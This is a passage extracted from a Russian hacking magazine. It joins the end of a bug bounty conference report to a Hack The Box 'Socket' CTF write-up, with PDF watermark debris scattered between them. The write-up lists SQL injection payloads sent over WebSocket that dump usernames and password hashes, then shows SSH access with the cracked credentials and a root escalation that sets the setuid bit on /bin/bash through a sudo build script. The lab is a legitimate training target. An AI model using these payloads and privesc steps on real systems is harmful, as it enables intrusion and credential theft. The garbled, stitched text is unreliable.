Анатолий Иванов начал свой доклад с краткого рассказа о себе и о своем опыте в багбаунти. До 2021 года он охотился за багами на HackerOne и посещал тематические мероприятия, порой бодрится CTF’ками, да и в целом он давно погружен в ИБ. Сейчас Анатолий — руководитель направления развития багбаунти Stando 365.

За основу выступления Анатолий взял гипотетический пример ситуации, когда вымышленному герою нужны деньги для выплаты ипотеки. В начале

унего ноль денег, зато есть определенные скиллы.

««Багбаунти — это сильно проще, чем все думают!» — Анатолий Иванов »

Первый рассмотренный кейс касался приложения, собирающего метрики и прочие подобные данные. Изначально предлагаемый исследователям уровень доступа был гостевым и оттого довольно бесполезным. Немного покопавшись на маркетинговом сайте, Анатолий смог запросить демодоступ к тому же приложению, но уже с предоставленными данными администратора, так что и до заветного RCE осталось рукой подать. Вот так просто.

Спикер тут же отметил нюанс: из-за кривых прав доступа все нужные для эксплуатации данные можно было получить и из исходного кода, но нажать три кнопки всяко быстрее и проще. Не поспоришь.

Еще один полезный совет: перепроверять баги, которые обозначены как исправленные. Исправляется не всё и не всегда, а для багхантера это может быть возможностью легко заработать.

На втором кейсе Анатолий продемонстрировал, что стоит искать уязвимости не только в веб-приложениях, но и в мобильных. Но поскольку большинство багхантеров ленится это делать, конкуренции здесь меньше и больше шансов на награду.

Третий кейс был связан с React. Читать код бандлов размером по несколько мегабайтов, мягко говоря, не вариант, но хотя бы часть исходников все же можно прочитать.

На четвертом примере Анатолий показал, как важно выбирать правильную цель для исследования, ограничивать скоуп и углублять исследование. Чем больше ты узнаешь о цели, тем более интересные баги найдешь.

Пятый кейс был посвящен высокозащищенным целям. Точнее, тем случаям, когда мощная защита — это видимость. Порой бывает выгодно охотиться за уязвимостями там, где, казалось бы, уже все что можно нашли и за все возможные ручки подергали много раз. Но нет-нет да находятся уязвимости, стоит лишь сфокусировать внимание на аномалиях.

На примере шестого кейса Анатолий показал, как полезно вовремя обращаться за помощью к коллегам, чтобы не биться над проблемой в гордом одиночестве. Порой выход из тупиковой ситуации гораздо ближе к нам, чем мы думаем.

Заключительный кейс — седьмой — про интерес и выгоду от работы в команде с коллегами и друзьями.

Итог: доклад окончен, а наш лирический герой Анатолий выплачивает ипотеку и съезжает со своей супругой от мамы. Жизнь удалась!

ОБЩИЕ ВПЕЧАТЛЕНИЯ

Накануне Stando Talks в том же лофте «Весна» прошел первый Stando Hacks, и прошел весьма успешно. Так, что некоторым участникам удалось раскачаться только к середине Talks. В этом смысле оба мероприятия органично друг друга дополнили: основная буря событий пришлась на субботу, а в воскресенье можно было расслабиться, слушая доклады, общаясь с коллегами и дегустируя закуски.

Всю палитру ощущений и эмоций от Standoff Hacks багхантер Лалка кратко описал у себя в Telegram.

После формальной части встречи всех желающих ждала завершающая часть Talks — вечеринка с алкоголем и энергичным диджеем. Декорации помещения сменились так стремительно, что я как будто случайно попал в ночной клуб.

В целом мне понравилась идея тематической встречи. Ощущение, что впитываешь концентрат полезной информации. А еще был заметен контраст двух сторон — багхантеров и холдеров багбаунти-программ. Именно такие встречи позволяют решать все трения между ними.

ВЫВОДЫ

Я заметил, что некоторые вопросы звучали наиболее часто, встречаясь практически в каждом докладе в том или ином виде:

Вопрос «CTF vs багбаунти vs пентест» в народе своей актуальности не теряет. Молодые энтузиасты все еще пытаются понять, что лучше, выгоднее и перспективнее.

Пентест — это больший скоуп, больше ответственности и больше обязанностей с жесткими временными рамками, в то время как багбаунти — больше свободы, креатива, меньше обязаловки и возможность управлять затрачиваемым на исследование временем.

Пентест позволяет реализовать импакт выявленных уязвимостей, а в багбаунти, по сути, нужно уметь вовремя остановиться, что порой может выглядеть как более поверхностный подход к исследованию (но вовсе не обязательно это так).

Почти во всех докладах затрагивался вопрос прозрачности внутренних механизмов компаний. Очевидно, что багхантеров часто держат в неведении, и это ни одной из сторон не идет в плюс.

Почти все говорили о том, как важно выстраивать адекватную коммуникацию, причем улучшения нужны с обеих сторон.

Как по мне, сравнивать CTF, багбаунти и пентест некорректно, ведь каждая из этих дисциплин решает свой спектр задач и будь одна хуже другой, то мы бы о них просто не вспоминали, не говоря даже про их использование на практике. Нравится рубиться в CTF? Так держать! Это не означает, что ты лучше или хуже кого-то или чего-то. Балдеешь от багбаунти? Отлично! Хвастайся своими находками перед коллегами, не сиди в гордом одиночестве. Тренируешь мозг в пентестах? Роскошно! Не забывай о возможности передавать знания и опыт. Все это хорошо, да и матерые безопасники нередко сочетают эти дисциплины по необходимости или по желанию, так что не спеши делать суровые и глобальные выводы.

Что же до умения выстраивать адекватную коммуникацию, то уже давно все сформулировано: уважай себя и своих собеседников, вникай в детали и допускай как можно меньше негативных эмоций в работе. Не будь равнодушным и поверхностным. А тут, глядишь, и вопрос с прозрачностью внутренних процессов в компаниях может стать проще, как за счет возникающего доверия, так и за счет очевидной взаимовыгоды.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЭКСПЛУАТИРУЕМ SQL-

ИНЪЕКЦИЮ ДЛЯ АТАКИ НА SQLITE

ЧЕРЕЗ WEBSOCKET

В этом райтапе я покажу, как эксплуатировать SQL-инъекцию в SQLite, обращаясь к базе через веб-сокет. Также пореверсим приложение на Python 3, скомпилированное для Linux, и повысим привилегии на целевой машине, проэксплуатировав уязвимость в билдере Python.

RalfHacker hackerralf8@gmail.com

Наша цель — захват тренировочной машины Socket с площадки Hack The Box. Уровень ее сложности — средний.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.206 socket.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

По результатам сканирования имеем три открытых порта:

22 — служба OpenSSH 8.9p1;

80 — веб-сервер Apache 2.4.52;

5789 — сервер Python 3, отвечающий по WebSockets.

SSH ничего не даст, с веб-сокетами тоже пока что ничего не ясно, поэтому проходим на основной сайт. Как видно из http-title, выполняется редирект на адрес http://qreader.htb. Добавим этот домен в файл /etc/hosts и откроем в браузере.

10.10.11.206 socket.htb qreader.htb

Главная страница сайта qreader.htb

ТОЧКА ВХОДА

На странице видим ссылки для скачивания исполняемых файлов для Windows

и Linux.

Раздел загрузки приложения

Скачав файл, закидываем его в любой удобный декомпилятор (я использую IDA Pro). Сразу можно обратить внимание на использование констант языка

Python.

Декомпилированный код стартовой функции

Эти константы означают, что скрипты на Python были скомпилированы в исполняемый файл. Но в этом случае мы можем обратно распаковать из ELF объектные файлы Python. Для этого используем pyinstxtractor.

python3 pyinstxtractor.py ../qreader

Распаковка исполняемого файла

Мы получаем целый каталог объектных файлов Python, которые теперь нужно преобразовать в читаемые скрипты. Для преобразования будем использовать инструмент unpyc37.

python3.10 unpyc37-3.10/src/unpyc3.py pyinstxtractor/qreader_

extracted/qreader.pyc > qreader.py

Содержимое файла qreader.py

В строке 13 сразу определяем адрес сервиса, с которым нужно работать через веб-сокеты. Так как это новый домен, обновляем запись в файле /etc/

hosts.

10.10.11.206 socket.htb qreader.htb ws.qreader.htb

Анализируя код, дальше находим две функции, через которые и происходит взаимодействие с сервером с помощью ws_connect. Первая функция нужна для получения версии приложения, а вторая — для проверки обновлений.

Содержимое файла qreader.py (продолжение)

Запускаем приложение и проверяем эти функции.

Приложение QR Code Reader

Попробуем перехватить трафик приложения, для чего запустим Burp Pro, а также перезапустим приложение, но теперь через туннелятор ProxyChains. Предварительно в файле конфигураций /etc/proxychains. conf сделаем запись для HTTP-прокси.

http 127.0.0.1 1080

proxychains -q ./qreader

Снова запрашиваем версию программы и просматриваем историю запросов в Burp History.

Запрос в Burp History

Так как соединение с сервером было установлено, можно перейти к истории запросов по WebSockets.

Запросы в WebSockets history

Комбинацией клавиш Ctrl-R переносим запрос в Burp Repeater и пробуем отправить несколько базовых нагрузок, чтобы проверить, нет ли здесь возможности для SQL-инъекции. И очень быстро находим уязвимость внедрения кода SQL с такой нагрузкой:

{

"version": "0.0.2" -- -"

}

Результат выполнения запроса

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ SQL-ИНЪЕКЦИЮ ДЛЯ АТАКИ НА SQLITE ЧЕРЕЗ WEBSOCKET

ТОЧКА ОПОРЫ

Первым делом попробуем определить количество столбцов в текущей таблице. Для этого будем использовать UNION-запрос с переменным количеством столбцов.

{"version": "0.0.2"

union select

1 -- -"}

{"version": "0.0.2"

union select

1,2 -- -"}

{"version": "0.0.2"

union

select

1,2,3 -- -"}

{"version": "0.0.2"

union

select

1,2,3,4 -- -"}

Определение количества столбцов в таблице

Вариант с четырьмя столбцами возвращает привычный нам ответ, а не ошибку, поэтому делаем вывод, что это подходящее количество. Также стоит отметить, что в ответ попадает одна запись, которая содержится в первой таблице, и не попадает запись из нашей второй «UNION-таблицы». Чтобы попадала запись из второй таблицы, нам нужно подать неверные данные в первую. К примеру, вместо значения версии 0.0.2 отправить строку qwe0.

0.2.

Теперь нам нужно узнать, какая база данных используется. Это будет важно при составлении запроса. Удалось установить, что это не MySQL и не PostgreSQL, а вот вариант для SQLite отобразил версию 3.37.2.

{

"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"

}

{

"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"

}

{

"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"

}

Определение версии СУБД

Теперь нужно получить таблицы из базы.

{

"version": "qwe0.0.2" union select 1,group_concat(name),3,4 from

sqlite_schema -- -"

}

Существующие в базе таблицы

Первая интересная таблица — users. Чтобы получить данные из нее, нужно знать, из каких столбцов их запрашивать. Поэтому следующим запросом узнаем столбцы таблицы users.

{

"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master where type!="meta" and name="users" and sql not null -- -"

}

Столбцы в таблице users

А теперь получим логины и пароли.

{

"version": "qwe0.0.2" union select 1,group_concat(username),

group_concat(password),4 from users -- -"

}

Логины и пароли из базы

Получили один хеш, по виду это MD5. Отправляем его на перебор по онлайновым базам и получаем пароль.

Результат взлома хеша

У нас есть пароль, но нет имени пользователя, поэтому пройдемся по другим таблицам. Тем же методом получаем столбцы из таблицы answers.

{

"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master

where type!="meta" and name="answers" and sql not null -- -"

}

Столбцы в базе answers

Имена пользователей могут быть в столбцах answered_by и answer.

{

"version": "qwe0.0.2" union select 1,group_concat(answered_by),

group_concat(answer),4 from answers -- -"

}

Данные из таблицы answers

Получаем пароли пользователей Thomas Keller и Mike и пробуем авторизоваться по SSH, перебирая разные варианты логина. Логин tkeller подошел.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Проникнув в систему, мы должны собрать информацию. Я буду использовать для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис- тему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.

В выводе скрипта отмечена запись в /etc/sudoers.

Настройки судоера

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

Мы можем запустить скрипт /usr/local/sbin/build-installer.sh от име-

ни пользователя root без ввода пароля. Разберемся, что делает этот сценарий.

Содержимое файла build-installer.sh

В коде интересны два блока, которые будут выполняться, если указаны параметры build или make. В обоих блоках указанный в параметре файл будет передан программе pyinstaller. Таким образом можно выполнить произвольный код на Python. Создадим файл privesc.spec, который будет назначать S-бит командной оболочке.

import os

os.system("chmod u+s /bin/bash")

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

А теперь запускаем скрипт и передаем ему созданный файл.

sudo /usr/local/sbin/build-installer.sh build privesc.spec

Результат выполнения скрипта

Как видишь, теперь у файла /bin/bash установлен S-бит, и, запустив его, мы можем получить новую привилегированную сессию.

/bin/bash -p

Флаг рута

Флаг рута у нас, машина захвачена!

Соседние файлы в папке журнал хакер